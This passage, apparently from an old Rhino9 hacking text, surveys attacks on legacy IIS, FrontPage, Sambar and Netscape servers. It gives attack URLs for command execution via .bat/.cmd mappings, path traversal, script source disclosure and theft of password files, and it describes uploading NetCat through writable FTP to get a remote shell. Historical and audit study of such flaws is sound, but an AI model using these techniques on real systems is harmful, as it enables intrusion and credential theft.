The first attack to be covered is the .bat/.cmd flaw. As this flaw was
well documented with its public posting, it will be quoted below (aut
hor unknown, if the author is reading this, let me know so that proper
credit can be given):
<Quote>
The .bat and .cmd BUG is a well-known bug in Netscape server and descr
ibed in the WWW security FAQ Q59. The implementation of this bug in In
ternet Information Server beats all scores.
Let's consider fresh IIS Web server installation where all settings ar
e default:
1) CGI directory is /scripts
2) There are no files abracadabra.bat or abracadabra.cmd in
the /scripts directory.
3) IIS Web server maps .bat and .cmd extensions to cmd.exe.
Therefore registry key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Par
ameters\ScriptMap
has the following string:
.bat or .cmd=C:\WINNT35\System32\cmd.exe /c %s %s
In this case a hacker with a malicious intent can send either one of t
he two command lines to the server:
a) /scripts/abracadabra.bat?&dir+c:\+?&time
b) /scripts/abracadabra.cmd?&dir+c:\+?&time
and the following happens:
1) Browser asks how you want to save a document. Notepad.exe
or any other viewer would do for this "type" of
application.
2) Browser starts the download session. The download window
appears on the screen.
3) The hacker clicks the "cancel" button on the download
window, because the "time" command on the server never
terminates.
4) Nothing is logged on the server side by the IIS Web
server, because the execution process was not successfully
terminated!!! (Thanks to the "time" command.) The only
way to see that something happened is to review all your
NT security logs. But they do not contain information
like REMOTE_IP. Thus the hacker's machine remains fully
anonymous.
Let's resume:
1) IIS Web server allows a hacker to execute his "batch file"
by typing
/scripts/abracadabra.bat?&COMMAND1+?&COMMAND2+?&...+?&COMMA
NDN
In a similar situation with the Netscape server, only
single command can be executed.
2) There is no file abracadabra.bat in /scripts directory,
but .bat extension is mapped to C:\WINNT35\System32\cmd.exe
In a similar situation with the Netscape server, actual
.bat file must exist.
3) In case a hacker enters a command like "time" or "date" as
COMMAND[N], nothing will be logged by IIS Web server.
In a similar situation with the Netscape server, the error
log will have a record about remote IP and command you
trying to execute.
<End Quote>
If you are having trouble seeing exactly what is going on in this situ
ation, an intruder could use the above attack sequence to create and e
xecute files server side. This could have really drastic results depen
ding on the skill level and intent of the attacker. Luckily, most prod
uction environments are no longer running versions of Internet Informa
tion Server old enough to still be affected by this flaw.
Shortly after the bat/cmd flaw was fully investigated and documented,
another bug hit the community. Again, lucky for us this flaw also only
affects older version of Internet Information Server. This flaw, call
ed the 'double dot bug' gave the visitor to the website the ability to
break out of the sanctioned webroot directory and browse or download
files. Obviously the end server could contain sensitive information th
at exists outside of the designated webroot, and this simple flaw woul
d give an outsider access to that information. The command is executed
as a URL, and its structure is as follows:
http://www.someserver.com/..\..
As if the double dot bug was not enough, another variant on that flaw
appeared shortly after. This newly found flaw would give an intruder t
he ability to execute scripts on the target machine. Due to the fact t
hat this new flaw is a variant of the double dot bug, the scripts in q
uestion could exist outside of the webroot. This attack is also struct
ured as a URL, and is issued as follows:
http://www.someserver.com/scripts..\..\scriptname
WindowsNT installations of Internet Information Server require some ty
pe of account to be used for authentication on the box for public visi
ts. If this account was not present in some fashion, every visitor to
the site would be required to present credentials. This would not be a
very effective or efficient way to present a public website. On Inter
net Information Server, the account to be used is the IUSR_<computerna
me> account. This account and its accompanying password are created du
ring installation. By default, this account is a member of the everyon
e group, and by default the everyone group has read access to everythi
ng on an NT drive. This fact coupled with the above mentioned flaw's a
bility to break out of the webroot could lead to major security breach
es.
For a short while, it seemed that new URL related attack types seemed
to pop up every week. Following the scripts flaw above was another scr
ipt related bug that would allow an intruder to create a file on the t
arget machine, and possibly execute the file after creation. The new a
ttack URL structure was:
http://www.someserver.com/scripts/script_name%0A%0D>PATH\target.bat
When this flaw first appeared, many people in the community ignored it
and gave it no serious thought. Soon after, a public release was made
documenting the exact steps an intruder would take to obtain a copy o
f the repair SAM. The release including the above URL flaw as part of
its overall attack.
When Microsoft released Internet Information Server 3.0, it brought ac
tive server page technology to the world. This release also opened the
gates to a new stream of flaws that affected IIS and NT4.
Active server pages brought simple, dynamic webpages to the Microsoft
world. Active Server Pages can be used in many different ways, such as
database connectivity, indexing and searching documents, authenticati
on, and simple graphics rotation for those annoying advertisement bann
ers.
The concept of active server pages was actually pretty creative. The H
TML code would include imbedded script code that would execute server
side and produce dynamic content for the end user. With this new techn
ology widely available, it was not long until the first flaw was relea
sed to the public. This first flaw, dubbed the 'dot flaw', would allow
an intruder to actually view the script without the server executing
it.
A standard URL structure would look like this:
http://www.genericserverhere.com/default.asp
The attack URL structure would look like this:
http://www.genericserverhere.com/default.asp.
This attack would display the unexecuted code in the attackers web bro
wser. Needless to say, the script code could contain sensitive informa
tion, such as a username/password combination to remotely connect to a
database. This type of information, among other things, is not someth
ing that one would want an intruder getting their hands on.
When a fix was released for the dot flaw, variants of the flaw that de
feated the fix were also released. The first of the variants was the %
2e flaw. %2e is the hex equivelant of a period, thus showing that the
fix that was made available was not incredibly robust. Variants of thi
s flaw continue to show up on occasion. Because all of the variants pe
rform the same exact end results, they will not be discussed in detail
. Some of the known attack URL structures are listed below:
http://www.someserver.com/default%2easp
http://www.someserver.com/default%2e%41sp
http://www.someserver.com/default.asp::$DATA
http://www.someserver.com/shtml.dll?<filename>.asp
Everyone involved in the security community has a feeling that these w
ill not be the last script displaying methods to emerge in the near fu
ture. As these scripts become more and more commonplace, they will con
tain more and more sensitive information. These simple exploits could
lead to an intruder easily gleaning sensitive information.
When it comes to gleaning information from IIS, perhaps one of the mos
t popular and easiest of the attacks is the Index Server attack. Index
Server is a small compact search engine module that was included with
Internet Information Server version 3.0. This module gives webmasters
the ability to provide visitors to their site with a searchable inter
face for searching the contents of the website. Although there are no
inherent problems with Index Server itself, problems arise out of a la
ck of education on the part of the admin or webmaster. Index Server is
not difficult to understand, setup and mantain, although its use of c
atalogs and scopes can lead to an admin misconfiguring the permissions
and searchable content. This misconfiguration could lead to an intrud
er gaining access to information he would normally have a much more di
fficult time getting.
The default URL structure for this attack would be:
http://www.someserver.com/samples/search/queryhit.htm
This path reflects the default path to the sample pages that ship with
Internet Information Server. If this path is not a valid path, the in
truder could still click on that helpful little "Search This Site" lin
k to access the same information. Once the intruder successfully reach
es the html document in question, he will be presented with a webpage
containing a form field. This form field is where a visitor to your si
te would normally input the information he wished to search for. An in
truder could use a filename search string such as:
#filename=*.txt
This would instruct Index Server to search through its catalog of inde
xed data for any files ending with that file extension. Keep in mind t
hat this file extension is not limited to extensions that Index Server
understands. If Index Server encounters a file type it does not under
stand, it will treat it as a binary and index the filename, extensions
, date, and other attributes. This means that an intruder could search
for anything, including *._, which could bring up the repair sam. The
interesting thing about Index Server is that unlike other full blown
internet search engines, Index Server will not display a file for whic
h the requester does not have permission to access. In other words, if
Index Server returns the fact that it found a file, then the file is
accessable.
Another favorite default function an intruder would attempt to access
is Internet Information Servers web admin interface. In a default inst
allation of IIS, the web admin interface resides in the 'iisadmin' sub
directory of the web root, which means the URL attack structure would
be:
http://www.someserver.com/iisadmin
If the admin has somehow misconfigured the permissions on this interfa
ce, then an intruder could gain unauthorized access to the web server
with administrative functions. If successful, the intruder would be pr
esented with an HTML interface to an administrative tool. Because of t
he way IIS and NT handles permissions, it is possible for the intruder
to gain access to the interface but not have the proper permissions t
o actually do anything with it. So if you are auditing your own networ
k, be sure to attempt a minor change to ensure that there is a problem
.
In late '97 and early '98 an enormous amount of webserver hacks were p
erformed. A large number of those hacks had one thing in common: the w
ebservers were running Microsoft Frontpage Extensions. Frontpage Exten
sions are little 'web bots', if you will, that allow the author or adm
inistrator of the website to perform complex or involved tasks with re
lative ease.
The problem with the Frontpage Extensions was that a default Frontpage
installation was not secure, especially in the unix version. An alarm
ing number of the servers supporting these extensions had been left un
passworded or enabled administrative rights to the Everyone group. Aga
in, the everyone group means everyone, including anonymous connections
.
We will dive into the first Frontpage attack with a discussion of an a
ttack using the actual Frontpage client software.
A server that supports FrontPage will have a number of working directo
ries that begin with the letters '_vti'. Doing a search at any of the
popular search engines for any of the default frontpage directories wo
uld result in a large number of returns from the engine. An intruder c
ould then get comfortable and attempt a simple, repetative attack agai
nst these servers. The attack is executed as follows:
1- Open your own personal copy of FrontPage
2- Goto the "Open frontpage web" dialogue box
3- Put in the URL or IP of the server you wish to attack
If the server is unpassworded or if permission is granted to the every
one group, Frontpage will open the remote site for you, and allow you
to alter it. The attack really is this simple. If the extensions are s
et up correctly, a username/password dialogue would appear. The intrud
er may attempt some basic combinations such as administrator/password,
but chances are the intruder won't bother, and will move on.
An intruder could also use the same "open frontpage web" trick to get
a complete user listing. This could be used in brute force attacks lat
er. Documentation circulated explaining that to stop the gleaning of u
sernames this way, one should create a restriction group as FP_www.you
rdomain.com:80. This new restriction group indeed works, unless the in
truder uses the IP address of your server instead of the domain name.
Some other tricks that can be done with FrontPage support is attemptin
g to grab the Frontpage password file. Frontpage normally stores the p
assword in the _vti_pvt directory, with the name service.pwd. An intru
der could attempt to execute the following URL:
http://www.someserver.com/_vti_pvt
If permissions are not setup correctly and directory browsing is allow
ed, the intruder would get a listing of the files in that directory, i
ncluding service.pwd. Usually the administrator will pay some attentio
n to the installation and security of the site and restrict access to
that directory. Although this is a good initial step, always remember
how NTFS works. Depending on the configuration of NTFS, a user may sti
ll gain access to the password file even though access to the parent f
older has been denied. In this type of situation, the intruder would s
imply issue the full path to the file in the URL, such as:
http://www.someserver.com/_vti_pvt/service.pwd
Although the frontpage password file is encrypted, it is encrypted wit
h standard DES, so any DES cracker can glean it after proper file doct
oring. An intruder may also poke around the other _vti directories, as
sometimes these can hold sensitive information. After the username is
known and the password has been cracked, the intruder could then re-c
onnect with his copy of Frontpage and provide it with the credentials,
or the credentials could be used in other ways, such as mapping a net
work drive, provided the same username/password combination would work
in that context.
(NOTE: Service.pwd is not the only known password file name. Authors.p
wd, admin.pwd, users.pwd and administrators.pwd have also been seen.)
Of the Frontpage related exploits, the binary ftp exploit is probably
considered to be the most sophisticated, even though it's also extreme
ly easy to accomplish. The binary attack would allow an intruder to ex
ecute any binary via frontpage extensions. The attacker must find a se
rver that supports frontpage and also supports FTP anonymous writable.
After connecting to the server via FTP, the intruder would create a d
irectory named _vti_bin. He would then upload whichever executable he
wishes to run into the newly created directory. Once the executable fi
le has been uploaded, the intruder would issue the following URL:
http://www.someserver.com/_vti_bin/uploaded_file
The server will then be more than happy to execute the file for the vi
sitor of the site.
Shortly after the binary attack made its rounds, the _vti_cnf bug was
found. This would allow an intruder to view all files in a certain dir
ectory. By replacing the index.html with _vti_cnf, the intruder would
see all files in that directory, and possibly gain access to them. The
attack is issued as follows:
Standard structure - http://www.someserver.com/some_directory_structur
e/index.html
Attack structure - http://www.someserver.com/some_directory_structure/
_vti_cnf
It may seem as though there could be countless variants of the same at
tack type that could issue similar results. Sadly enough, that is a so
mewhat accurate statement. Many of these flaws are found by people pla
ying with variants of previous flaws, but not all flaws affecting NT w
eb services come from Internet Information Server.
There are other web server software packages that will run on NT, like
the well known Apache web server. Of course, with these third party w
eb server packages and seperately released scripts that run on these t
hird party packages, new flaws are bound to show up.
Webcom Datakommunikation released a cgi script that would allow visito
rs of a website to sign a guestbook. The name of the cgi script is wgu
est.exe. By issuing the proper commands, this little cgi script allows
an attacker to view any text file on your server.
The form page where a visitor would sign the guestbook contains a numb
er of hidden fields. One of these hidden input fields is as follows (a
s reported by David Litchfield):
input type="hidden" name="template"
value="c:\inetpub\wwwroot\gb\template.htm">
or
input type="hidden" name="template" value="/gb/template.htm">
Template.htm here is the file that will be displayed by wguest.exe aft
er the user has entered his information. To exploit this an attack
er views the source and saves the document to his desktop and edits
this line by changing the path to whatever file he wants to view, eg.
input type="hidden" name="template"
value="c:\winnt\system32\$winnt$.inf">
[If an unattended install was done the admin password can be gleaned
from this file]
He then clicks on "Submit" and then wguest.exe will display this file
. This was not tested with pwl files. However the attacker must know
the exact path of the file he wishes to view.
Another 'generic' HTTPD exploit involves a third party webserver produ
ct that runs on WindowsNT called Sambar Server. The following is a dir
ect quote from posting:
<quote>
It is possible to view the victim's HDD. Asume you find a computer
running Sambar Server by searching the Internet with these key-wo
rds: +sambar +server +v4.1
If you find a site like: http://www.site.net/ then do a test, run a l
ittle perl script...
http://www.site.net/cgi-bin/dumpenv.pl
Now you see the complete environment of the victims computer, inc
luding his path. Now you can try to login as the administrator by thi
s url:
http://www.site.net/session/adminlogin?RCpage=/sysadmin/index.stm
The default login is: admin and the default password is blank. If the
victim hasn't changed his settings, you now can control his server
. Another feature is to view the victims HDD. If you were able to
run the perl script you should also be able (in most cases) to
view directory's from his path. Most people have c:/program file
s and c:/windows in the path line, so what you can do is:
http://www.site.net/c:/program files/sambar41
<end quote>
The next small item in this section has to do with Netscape Enterprise
Server. Some versions of the software react to the ?PageServices para
meter by allowing users access to a directory listing. http://www.site
.net/?PageServices is how this would be done.
Finally a word on FTP. FTP can be a secure thing. Tons of people will
argue that platforms and version dependancy make it more secure, and f
or the most part this is true. Most seasoned security profressionals w
ill tell you that version and platform do not amount to anything witho
ut an educated end admin. We are adding this quick note in here due to
the number of servers Rhino9 has been able to penetrate based on FTP
permissions. Some admins will not notice, or understand, the "Anonymou
s world writable" privs on their webserver. Rhino9 has questioned and
worked its way into an entire network via one misconfigured FTP server
.
It is not difficult to upload NetCat via anon-ftp-writable to a server
, execute it via URL, and bind it to a port. From that point on, you h
ave a remote 'shell' on the NT box. By connecting to that remote NetCa
t bind, keep in mind that all command line functions issued from that
shell seem to be sent from THAT SHELL, with the NetCat binding running
in the context of an internal user.
================================== |
|